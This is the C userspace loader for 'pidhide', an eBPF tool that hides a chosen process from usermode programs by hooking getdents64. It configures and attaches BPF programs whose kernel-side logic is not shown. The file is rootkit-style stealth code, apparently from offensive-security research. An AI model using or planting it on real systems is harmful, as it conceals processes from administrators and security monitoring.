// SPDX-License-Identifier: BSD-3-Clause
#include <argp.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <unistd.h>
#include <signal.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>

#include "pidhide.skel.h"
#include "pidhide.h"

// Setup Argument stuff
static struct env
{
    int pid_to_hide;
    int target_ppid;
} env;

const char *argp_program_version = "pidhide 1.0";
const char *argp_program_bug_address = "<path@tofile.dev>";
const char argp_program_doc[] =
    "PID Hider\n"
    "\n"
    "Uses eBPF to hide a process from usermode processes\n"
    "By hooking the getdents64 syscall and unlinking the pid folder\n"
    "\n"
    "USAGE: ./pidhide -p 2222 [-t 1111]\n";

static const struct argp_option opts[] = {
    {"pid-to-hide", 'p', "PID-TO-HIDE", 0, "Process ID to hide. Defaults to this program"},
    {"target-ppid", 't', "TARGET-PPID", 0, "Optional Parent PID, will only affect its children."},
    {},
};

static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
    switch (key)
    {
    case 'p':
        errno = 0;
        env.pid_to_hide = strtol(arg, NULL, 10);
        if (errno || env.pid_to_hide <= 0)
        {
            fprintf(stderr, "Invalid pid: %s\n", arg);
            argp_usage(state);
        }
        break;
    case 't':
        errno = 0;
        env.target_ppid = strtol(arg, NULL, 10);
        if (errno || env.target_ppid <= 0)
        {
            fprintf(stderr, "Invalid pid: %s\n", arg);
            argp_usage(state);
        }
        break;
    case ARGP_KEY_ARG:
        argp_usage(state);
        break;
    default:
        return ARGP_ERR_UNKNOWN;
    }
    return 0;
}

static const struct argp argp = {
    .options = opts,
    .parser = parse_arg,
    .doc = argp_program_doc,
};

static volatile sig_atomic_t exiting;

void sig_int(int signo)
{
    exiting = 1;
}

static bool setup_sig_handler()
{
    // Add handlers for SIGINT and SIGTERM so we shutdown cleanly
    __sighandler_t sighandler = signal(SIGINT, sig_int);
    if (sighandler == SIG_ERR)
    {
        fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
        return false;
    }
    sighandler = signal(SIGTERM, sig_int);
    if (sighandler == SIG_ERR)
    {
        fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
        return false;
    }
    return true;
}

static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
    return vfprintf(stderr, format, args);
}

static bool setup()
{
    // Set up libbpf errors and debug info callback
    libbpf_set_print(libbpf_print_fn);

    // Setup signal handler so we exit cleanly
    if (!setup_sig_handler())
    {
        return false;
    }

    return true;
}

static int handle_event(void *ctx, void *data, size_t data_sz)
{
    const struct event *e = data;
    if (e->success)
        printf("Hid PID from program %d (%s)\n", e->pid, e->comm);
    else
        printf("Failed to hide PID from program %d (%s)\n", e->pid, e->comm);
    return 0;
}

int main(int argc, char **argv)
{
    struct ring_buffer *rb = NULL;
    struct pidhide_bpf *skel;
    int err;

    // Parse command line arguments
    err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
    if (err)
    {
        return err;
    }
    if (env.pid_to_hide == 0)
    {
        printf("Pid Requried, see %s --help\n", argv[0]);
        exit(1);
    }

    // Do common setup
    if (!setup())
    {
        exit(1);
    }

    // Open BPF application
    skel = pidhide_bpf__open();
    if (!skel)
    {
        fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
        return 1;
    }

    // Set the Pid to hide, defaulting to our own PID
    char pid_to_hide[10];
    if (env.pid_to_hide == 0)
    {
        env.pid_to_hide = getpid();
    }
    sprintf(pid_to_hide, "%d", env.pid_to_hide);
    strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide));
    skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1;
    skel->rodata->target_ppid = env.target_ppid;

    // Verify and load program
    err = pidhide_bpf__load(skel);
    if (err)
    {
        fprintf(stderr, "Failed to load and verify BPF skeleton\n");
        goto cleanup;
    }

    // Setup Maps for tail calls
    int index = PROG_01;
    int prog_fd = bpf_program__fd(skel->progs.handle_getdents_exit);
    int ret = bpf_map_update_elem(
        bpf_map__fd(skel->maps.map_prog_array),
        &index,
        &prog_fd,
        BPF_ANY);
    if (ret == -1)
    {
        printf("Failed to add program to prog array! %s\n", strerror(errno));
        goto cleanup;
    }
    index = PROG_02;
    prog_fd = bpf_program__fd(skel->progs.handle_getdents_patch);
    ret = bpf_map_update_elem(
        bpf_map__fd(skel->maps.map_prog_array),
        &index,
        &prog_fd,
        BPF_ANY);
    if (ret == -1)
    {
        printf("Failed to add program to prog array! %s\n", strerror(errno));
        goto cleanup;
    }

    // Attach tracepoint handler
    err = pidhide_bpf__attach(skel);
    if (err)
    {
        fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno));
        goto cleanup;
    }

    // Set up ring buffer
    rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);
    if (!rb)
    {
        err = -1;
        fprintf(stderr, "Failed to create ring buffer\n");
        goto cleanup;
    }

    printf("Successfully started!\n");
    printf("Hiding PID %d\n", env.pid_to_hide);
    while (!exiting)
    {
        err = ring_buffer__poll(rb, 100 /* timeout, ms */);
        /* Ctrl-C will cause -EINTR */
        if (err == -EINTR)
        {
            err = 0;
            break;
        }
        if (err < 0)
        {
            printf("Error polling perf buffer: %d\n", err);
            break;
        }
    }

cleanup:
    pidhide_bpf__destroy(skel);
    return -err;
}